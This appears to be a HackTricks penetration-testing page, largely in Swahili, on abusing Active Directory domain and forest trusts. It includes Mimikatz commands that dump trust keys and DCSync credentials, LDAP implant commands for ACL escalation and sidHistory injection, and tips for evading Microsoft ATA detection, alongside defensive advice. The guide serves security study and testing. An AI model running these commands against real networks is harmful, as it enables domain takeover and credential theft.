- Hatimaye, mteja anaonyesha TGS hii kwa server, ambayo imefichwa kwa hash ya account ya server, kupata ufikiaji wa huduma katika Domain 2.
Different trusts
Ni muhimu kutambua kwamba trust inaweza kuwa ya upande mmoja au wa pande mbili. Katika chaguo la pande mbili, domains zote mbili zitawaaminiana, lakini katika uhusiano wa pande moja moja ya domains itakuwa trusted na nyingine itakuwa trusting domain. Katika kesi ya mwisho, utapata tu kufikia rasilimali ndani ya trusting domain kutoka kwa trusted domain.
Ikiwa Domain A inaamini Domain B, A ni trusting domain na B ni trusted. Zaidi ya hayo, katika Domain A, hii itakuwa Outbound trust; na katika Domain B, hii itakuwa Inbound trust.
Different trusting relationships
- Parent-Child Trusts: Hii ni mipangilio ya kawaida ndani ya forest moja, ambapo domain mtoto mara moja ina two-way transitive trust na domain mzazi wake. Kwa kimsingi, hili linamaanisha kwamba maombi ya uthibitisho yanaweza kupita bila mshono kati ya mzazi na mtoto.
- Cross-link Trusts: Zinatajwa kama “shortcut trusts,” hizi zinaanzishwa kati ya child domains kuboresha haraka mchakato wa referral. Katika forests tata, referrals za uthibitisho kwa kawaida zinapaswa kusafiri hadi juu kwenye mizizi ya forest kisha kushuka hadi domain lengwa. Kwa kuunda cross-links, safari hupunguzwa, jambo lenye manufaa hasa katika mazingira yaliyogawanywa kijiografia.
- External Trusts: Hizi zinawekwa kati ya domains tofauti, zisizohusiana na ni non-transitive kwa asili. Kulingana na Microsoft’s documentation, external trusts ni muhimu kwa kupata rasilimali katika domain nje ya current forest ambayo haikuunganishwa na forest trust. Usalama unaimarishwa kupitia SID filtering kwa external trusts.
- Tree-root Trusts: Hizi trusts zinaanzishwa moja kwa moja kati ya forest root domain na tree root mpya inayoongezwa. Ingawa hazikutambuliki sana, tree-root trusts ni muhimu kwa kuongeza miti mpya ya domain kwenye forest, zikiruhusu kuzihifadhi jina la kipekee la domain na kuhakikisha two-way transitivity. Taarifa zaidi inaweza kupatikana katika Microsoft’s guide.
- Forest Trusts: Aina hii ya trust ni two-way transitive trust kati ya forest root domains mbili, pia ikitekeleza SID filtering ili kuongeza hatua za usalama.
- MIT Trusts: Hizi trusts zinaanzishwa na Kerberos domains zisizo za Windows, zinazoendana na RFC4120. MIT trusts ni maalum zaidi na zinakidhi mazingira yanayohitaji muunganiko na mifumo ya Kerberos nje ya mazingira ya Windows.
Other differences in trusting relationships
- Uhusiano wa trust pia unaweza kuwa transitive (A inaamini B, B inaamini C, basi A inaamini C) au non-transitive.
- Uhusiano wa trust unaweza kuwekwa kama bidirectional trust (pande zote zinaaminiana) au kama one-way trust (moja tu inaaminia nyingine).
Attack Path
- Tambua uhusiano wa trusting
- Angalia ikiwa kuna security principal (user/group/computer) ana ufikiaji wa rasilimali za domain nyingine, labda kupitia ACE entries au kwa kuwa kwenye groups za domain nyingine. Tafuta uhusiano kati ya domains (trust ilianzishwa kwa ajili ya hili labda).
- kerberoast katika kesi hii inaweza kuwa chaguo lingine.
- Kamatwa kwa accounts zinazoweza kupindua kupitia domains.
Wavamizi wanaoweza kupata rasilimali katika domain nyingine kupitia mekanisimu tatu kuu:
- Local Group Membership: Principals wanaweza kuongezwa kwa vikundi vya ndani kwenye mashine, kama kundi la “Administrators” kwenye server, kuwapa udhibiti mkubwa juu ya mashine hiyo.
- Foreign Domain Group Membership: Principals pia wanaweza kuwa wanachama wa vikundi ndani ya domain ya kigeni. Hata hivyo, ufanisi wa njia hii unategemea aina ya trust na upeo wa kundi.
- Access Control Lists (ACLs): Principals wanaweza kuelezwa katika ACL, hasa kama entities katika ACEs ndani ya DACL, kuwapa ufikiaji wa rasilimali maalum. Kwa wale wanaotaka kupenya zaidi kwenye mwenendo wa ACLs, DACLs, na ACEs, whitepaper yenye kichwa “An ACE Up The Sleeve” ni rasilimali muhimu.
Find external users/groups with permissions
Unaweza kuangalia CN=<user_SID>,CN=ForeignSecurityPrincipals,DC=domain,DC=com ili kupata foreign security principals ndani ya domain. Hawa watakuwa user/group kutoka domain/forest ya nje.
Unaweza kuangalia hii kwa kutumia Bloodhound au kwa kutumia powerview:
# Get users that are i groups outside of the current domain
Get-DomainForeignUser
# Get groups inside a domain with users our
Get-DomainForeignGroupMember
Child-to-Parent forest privilege escalation
# Fro powerview
Get-DomainTrust
SourceName : sub.domain.local --> current domain
TargetName : domain.local --> foreign domain
TrustType : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : WITHIN_FOREST --> WITHIN_FOREST: Both in the same forest
TrustDirection : Bidirectional --> Trust direction (2ways in this case)
WhenCreated : 2/19/2021 1:28:00 PM
WhenChanged : 2/19/2021 1:28:00 PM
Njia nyingine za kuorodhesha uaminifu wa domain:
# Get DCs
nltest /dsgetdc:<DOMAIN>
# Get all domain trusts
nltest /domain_trusts /all_trusts /v
# Get all trust of a domain
nltest /dclist:sub.domain.local
nltest /server:dc.sub.domain.local /domain_trusts /all_trusts
Warning
Kuna 2 trusted keys, moja kwa Child –> Parent na nyingine kwa Parent –> Child.
Unaweza kupata ile inayotumika na domain ya sasa kwa kutumia:Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\mcorp$"'
SID-History Injection
Escalate as Enterprise admin to the child/parent domain abusing the trust with SID-History injection:
Exploit writeable Configuration NC
Ni muhimu kuelewa jinsi Configuration Naming Context (NC) inaweza kutumika kwa madhumuni mabaya. Configuration NC inahudumu kama hifadhi kuu ya data za usanidi ndani ya msitu katika mazingira ya Active Directory (AD). Data hii inaripotiwa kwa kila Domain Controller (DC) ndani ya msitu, na DC zinazoweza kuandikwa zinahifadhi nakala inayoweza kuandikwa ya Configuration NC. Ili ku-exploit hili, lazima uwe na SYSTEM privileges on a DC, ikiwezekana DC ya child.
Link GPO to root DC site
Kiboreshaji cha Sites cha Configuration NC kina taarifa kuhusu site za kompyuta zote zilizojiunga na domain ndani ya msitu wa AD. Kwa kufanya operesheni ukiwa na SYSTEM privileges kwenye DC yoyote, mashambulizi yanaweza kuunganisha GPOs kwenye site za root DC. Hatua hii inaweza kuhatarisha root domain kwa kubadilisha sera zinazotumika kwenye site hizi.
Kwa taarifa za kina, unaweza kuchunguza utafiti wa Bypassing SID Filtering.
Compromise any gMSA in the forest
Njia moja ya shambulio ni kulenga gMSA zenye uwezo za juu ndani ya domain. KDS Root key, muhimu kwa kuhesabu nywila za gMSAs, inahifadhiwa ndani ya Configuration NC. Ukiwa na SYSTEM privileges kwenye DC yoyote, inawezekana kufikia KDS Root key na kuhesabu nywila za gMSA yoyote ndani ya msitu.
Uchambuzi wa kina na mwongozo hatua kwa hatua unapatikana katika:
Shambulio linaloambatana la delegated MSA (BadSuccessor – abusing migration attributes):
Badsuccessor Dmsa Migration Abuse
Utafiti wa ziada wa nje: Golden gMSA Trust Attacks.
Schema change attack
Njia hii inahitaji uvumilivu, ikisubiri uumbaji wa vitu vipya vya AD vyenye vibali. Ukiwa na SYSTEM privileges, mshambuliaji anaweza kuhariri AD Schema ili kumpa mtumiaji yeyote udhibiti kamili wa classes zote. Hii inaweza kusababisha upatikanaji usiothibitishwa na udhibiti wa vitu vipya vya AD.
Soma zaidi katika Schema Change Trust Attacks.
From DA to EA with ADCS ESC5
Udhaifu wa ADCS ESC5 unalenga udhibiti wa vitu vya Public Key Infrastructure (PKI) ili kuunda template ya cheti inayowawezesha kuthibitisha kama mtumiaji yeyote ndani ya msitu. Kwa kuwa vitu vya PKI viko ndani ya Configuration NC, kuvuruga DC ya child inayoweza kuandikwa kunawezesha utekelezaji wa mashambulizi ya ESC5.
Taarifa zaidi zinaweza kusomwa katika From DA to EA with ESC5. Katika mazingira yasiyo na ADCS, mshambuliaji ana uwezo wa kuanzisha vipengele vinavyohitajika, kama ilivyoelezwa katika Escalating from Child Domain Admins to Enterprise Admins.
External Forest Domain - One-Way (Inbound) or bidirectional
Get-DomainTrust
SourceName : a.domain.local --> Current domain
TargetName : domain.external --> Destination domain
TrustType : WINDOWS-ACTIVE_DIRECTORY
TrustAttributes :
TrustDirection : Inbound --> Inboud trust
WhenCreated : 2/19/2021 10:50:56 PM
WhenChanged : 2/19/2021 10:50:56 PM
Katika senario hii your domain is trusted na domain ya nje inakupa undetermined permissions juu yake. Utahitaji kugundua which principals of your domain have which access over the external domain kisha ujaribu ku-exploit it:
External Forest Domain - OneWay (Inbound) or bidirectional
External Forest Domain - One-Way (Outbound)
Get-DomainTrust -Domain current.local
SourceName : current.local --> Current domain
TargetName : external.local --> Destination domain
TrustType : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : FOREST_TRANSITIVE
TrustDirection : Outbound --> Outbound trust
WhenCreated : 2/19/2021 10:15:24 PM
WhenChanged : 2/19/2021 10:15:24 PM
Katika senario hii domain yako inampa privileges mwakilishi kutoka kwa domain tofauti.
Hata hivyo, wakati domain inatumiwa kwa uaminifu na domain inayomuaminika, domain inayomuaminika inaunda user mwenye jina linaloweza kutabiriwa ambaye hutumia kama password password ya trusted. Hii ina maana kwamba inawezekana kupitia user kutoka kwa domain inayotumia uaminifu kuingia katika domain inayomuaminika ili kuifanya enumeration na kujaribu kuongeza privileges zaidi:
External Forest Domain - One-Way (Outbound)
Njia nyingine ya kuathiri trusted domain ni kutafuta SQL trusted link iliyoundwa katika mwelekeo ulio kinyume wa domain trust (ambayo si ya kawaida sana).
Njia nyingine ya kuathiri trusted domain ni kusubiri kwenye mashine ambapo user kutoka kwa trusted domain anaweza kupata access kuingia kupitia RDP. Kisha, mshambuliaji anaweza kuingiza code ndani ya mchakato wa RDP session na kupata access kwa origin domain ya mwathiriwa kutoka hapo.
Zaidi ya hayo, kama mwathiriwa ame-mount hard drive yake, kutoka kwenye mchakato wa RDP session mshambuliaji anaweza kuweka backdoors katika startup folder ya hard drive. Mbinu hii inaitwa RDPInception.
Kupunguza matumizi mabaya ya domain trust
SID Filtering:
- Hatari ya mashambulizi yanayotumia SID history attribute kati ya forest trusts inapunguzwa na SID Filtering, ambayo imewashwa kwa default kwenye inter-forest trusts zote. Hii inategemea dhana kwamba intra-forest trusts ni salama, ikichukulia forest badala ya domain kama mpaka wa usalama kulingana na msimamo wa Microsoft.
- Hata hivyo, kuna tatizo: SID filtering inaweza kuvuruga applications na access za watumiaji, na kusababisha mara kwa mara kuzimwa kwake.
Selective Authentication:
- Kwa inter-forest trusts, kutumia Selective Authentication hufanya watumiaji kutoka forests mbili wasiwe automatically authenticated. Badala yake, inahitaji ruhusa maalum ili watumiaji waweze kupata access kwenye domains na servers ndani ya trusting domain au forest.
- Ni muhimu kutambua kwamba hatua hizi hazilitunaki dhidi ya unyonyaji wa writable Configuration Naming Context (NC) au mashambulizi dhidi ya trust account.
More information about domain trusts in ired.team.
LDAP-based AD Abuse from On-Host Implants
The LDAP BOF Collection re-implements bloodyAD-style LDAP primitives as x64 Beacon Object Files that run entirely inside an on-host implant (e.g., Adaptix C2). Operators compile the pack with git clone https://github.com/P0142/ldap-bof-collection.git && cd ldap-bof-collection && make, load ldap.axs, and then call ldap <subcommand> from the beacon. All traffic rides the current logon security context over LDAP (389) with signing/sealing or LDAPS (636) with auto certificate trust, so no socks proxies or disk artifacts are required.
Implant-side LDAP enumeration
get-users,get-computers,get-groups,get-usergroups, andget-groupmembersresolve short names/OU paths into full DNs and dump the corresponding objects.get-object,get-attribute, andget-domaininfopull arbitrary attributes (including security descriptors) plus the forest/domain metadata fromrootDSE.get-uac,get-spn,get-delegation, andget-rbcdexpose roasting candidates, delegation settings, and existing Resource-based Constrained Delegation descriptors directly from LDAP.get-aclandget-writable --detailedparse the DACL to list trustees, rights (GenericAll/WriteDACL/WriteOwner/attribute writes), and inheritance, giving immediate targets for ACL privilege escalation.
ldap get-users --ldaps
ldap get-computers -ou "OU=Servers,DC=corp,DC=local"
ldap get-writable --detailed
ldap get-acl "CN=Tier0,OU=Admins,DC=corp,DC=local"
LDAP write primitives for escalation & persistence
- Object creation BOFs (
add-user,add-computer,add-group,add-ou) zinamruhusu mtumiaji kuweka principals au machine accounts mpya popote haki za OU zipo.add-groupmember,set-password,add-attribute, naset-attributehuchukua lengo moja kwa moja mara haki za write-property zinapopatikana. - Amri zinazolenga ACL kama
add-ace,set-owner,add-genericall,add-genericwrite, naadd-dcsynczinatafsiri WriteDACL/WriteOwner kwenye kitu chochote cha AD kuwa reset za password, udhibiti wa uanachama wa group, au ruhusa za DCSync replication bila kuacha artifacts za PowerShell/ADSI. Mawenzeoremove-*hurekebisha ACE zilizochomwa.
Delegation, roasting, and Kerberos abuse
add-spn/set-spnhufanya mara moja user iliyovamiwa kuwa Kerberoastable;add-asreproastable(UAC toggle) inaiweka kwa AS-REP roasting bila kugusa password.- Macros za Delegation (
add-delegation,set-delegation,add-constrained,add-unconstrained,add-rbcd) hubadilishamsDS-AllowedToDelegateTo, flags za UAC, aumsDS-AllowedToActOnBehalfOfOtherIdentitykutoka kwa beacon, kuruhusu njia za shambulio za constrained/unconstrained/RBCD na kuondoa haja ya PowerShell ya mbali au RSAT.
sidHistory injection, OU relocation, and attack surface shaping
add-sidhistoryhuingiza SIDs zilizo na haki za juu kwenye SID history ya principal unaodhibitiwa (ona SID-History Injection), ikitoa urithi wa upatikanaji kwa njia ya kimya kabisa kupitia LDAP/LDAPS.move-objecthubadilisha DN/OU ya computers au users, kumruhusu mshambuliaji kuvuta assets ndani ya OUs ambazo haki za delegated tayari zipo kabla ya kutumiaset-password,add-groupmember, auadd-spn.- Amri za kuondoa zilizo na upeo mdogo (
remove-attribute,remove-delegation,remove-rbcd,remove-uac,remove-groupmember, nk.) zinaruhusu rollback ya haraka baada ya operator kukusanya credentials au persistence, kupunguza telemetry.
AD -> Azure & Azure -> AD
Page not found - HackTricks Cloud
Some General Defenses
Learn more about how to protect credentials here.
Defensive Measures for Credential Protection
- Domain Admins Restrictions: Inashauriwa kwamba Domain Admins waachwe waweze tu kuingia kwenye Domain Controllers, kuepuka kutumia accounts zao kwenye hosts nyingine.
- Service Account Privileges: Services hazifai kuendeshwa kwa ruhusa za Domain Admin (DA) ili kudumisha usalama.
- Temporal Privilege Limitation: Kwa kazi zinazohitaji ruhusa za DA, muda wa ruhusa hizo uwekwe kando. Hii inaweza kufikiwa kwa:
Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)
Implementing Deception Techniques
- Kutumia deception kunajumuisha kuweka vimbunga, kama users au computers wa decoy, kwa sifa kama passwords zisizoisha au zilizoalishwa kuwa Trusted for Delegation. Mbinu kamili inajumuisha kuunda users wenye haki maalum au kuwaongeza kwenye vikundi vyenye ruhusa kubwa.
- Mfano wa vitendo unajumuisha kutumia zana kama:
Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose - Zaidi juu ya kuendesha deception techniques ziko kwenye Deploy-Deception on GitHub.
Identifying Deception
- For User Objects: Vidokezo vinavyoshukiwa ni pamoja na ObjectSID isiyo ya kawaida, logons zisizo za mara kwa mara, tarehe za kuundwa, na idadi ndogo ya bad password attempts.
- General Indicators: Kulinganisha attributes za vitu vinavyoweza kuwa decoy na zile za vitu halisi kunaweza kuonyesha kutofanana. Zana kama HoneypotBuster zinaweza kusaidia katika kutambua deception hizo.
Bypassing Detection Systems
- Microsoft ATA Detection Bypass:
- User Enumeration: Kuepuka session enumeration kwenye Domain Controllers ili kuzuia utambuzi wa ATA.
- Ticket Impersonation: Kutumia keys za aes kwa uundaji wa ticket kunasaidia kuepuka utambuzi kwa kutoangusha hadi NTLM.
- DCSync Attacks: Kutekeleza kutoka non-Domain Controller ili kuepuka utambuzi wa ATA inashauriwa, kwani utekelezaji moja kwa moja kutoka Domain Controller utasababisha alarms.
References
- http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/
- https://www.labofapenetrationtester.com/2018/10/deploy-deception.html
- https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain
- LDAP BOF Collection – In-Memory LDAP Toolkit for Active Directory Exploitation
- TrustedSec – Holy Shuck! Weaponizing NTLM Hashes as a Wordlist
- Hashcat
Tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.


